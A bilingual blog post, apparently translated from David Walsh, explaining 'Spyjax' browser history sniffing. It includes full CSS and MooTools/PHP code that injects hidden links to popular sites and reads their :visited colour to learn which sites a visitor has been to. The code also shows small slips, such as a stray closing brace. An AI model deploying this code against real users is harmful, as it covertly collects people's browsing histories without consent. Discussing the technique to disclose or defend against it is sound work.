邪恶的AJAX：Spyjax

With great power comes great responsibility. With every advancement in technology we face the threat of it being used for evil purposes. This is the case with AJAX. AJAX has a ton of great uses but one form of negative AJAX has taken life: Spyjax.

拥有权利的同时也被赋予了重大的责任。 随着技术的每一项进步，我们都面临着将其用于邪恶目的的威胁。 AJAX就是这种情况。 AJAX具有大量用途，但一种负面的AJAX形式已经流行：Spyjax。

Spyjax, as I know it, is taking information from the user's computer for your own use -- specifically their browsing habits. By using CSS and JavaScript, I can inject anchor links into the page and tell whether you've been to the link's URL. How? Quite easy actually.

据我所知，Spyjax正在从用户的计算机中获取信息供您自己使用-特别是他们的浏览习惯。 通过使用CSS和JavaScript，我可以在页面中注入锚链接，并告诉您是否访问过链接的URL。 怎么样？ 实际上很容易。

Basic Demo 基本演示 Advanced Demo 高级演示

CSS (The CSS)

a.checkme			{ color:#0ff0; }
a.checkme:visited	{ color:#f00; }
.highlight			{ background:#fffea1; }

The most important part is making sure the :visited link color is different than the standard link color. In this case, I'm using red.

最重要的部分是确保：visited链接颜色不同于标准链接颜色。 在这种情况下，我使用红色。

JavaScript (The JavaScript)

<?php 
	$sites = array(
							'davidwalsh.name',
							'css-tricks.com',
							'snook.ca',
							'cnn.com',
							'digg.com',
							'flickr.com',
							'php.net',
							'reddit.com',
							'yahoo.com',
							'google.com',
							'msn.com',
							'gmail.com',
							'ajaxian.com',
							'imdb.com',
							'mootools.net',
							'jquery.com',
							'wordpress.org',
							'dlisted.com',
							'foxnews.com',
							'dzone.com',
							'nettuts.com',
							'youtube.com',
							'diggnation.com',
							'collegehumor.com',
							'facebook.com',
							'myspace.com'
						);
	$site_string = implode('\',\'',$sites);
	
?>
//inject!
$('tell-me').addEvent('click', function() {
	
	var urls = ['<?php echo $site_string; ?>'];
	var known = [];
	urls.each(function(url) {
		var anchor = new Element('a', {
			'href': 'http://' + url,
			'class':'checkme',
			'html':url,
			'styles' : {
				'display': 'none'
			}
		}).inject($('body'));
		if(anchor.getStyle('color') == '#ff0000') {
			known.include(anchor.get('text'));
		}
	});
	
	alert(known.length ? 'Found ' + known.length + ': ' + known.join(', ') + '.  Time to record this using AJAX.'  : 'Lucky you, I didn\'t find any!');
});
});

The JavaScript is really done into parts. The first part is injecting the links into the page, the second part is pulling the link's text color from our injected elements. You'd think it would be harder, huh? Nope!

JavaScript实际上是分成几部分的。 第一部分是将链接注入页面，第二部分是从注入的元素中提取链接的文本颜色。 您会认为这会更难，是吧？ 不！

Spyjax isn't as evil as stealing credit card information or social security numbers but it can be an invasion of privacy. One use I've seen for Spyjax has been checking to see if a user's been to Digg. If so, show the "Digg This" button. If not, check for Reddit, DZone, and so on.

Spyjax并不像窃取信用卡信息或社会安全号码那样邪恶，但它可能是对隐私的侵犯。 我见过的Spyjax用途之一是检查用户是否曾经来过Digg。 如果是这样，请显示“ Digg This”按钮。 如果不是，请检查Reddit，DZone等。

Basic Demo 基本演示 Advanced Demo 高级演示

What are your thoughts on this practice?

您对此做法有何看法？

翻译自: https://davidwalsh.name/ajax-evil-spyjax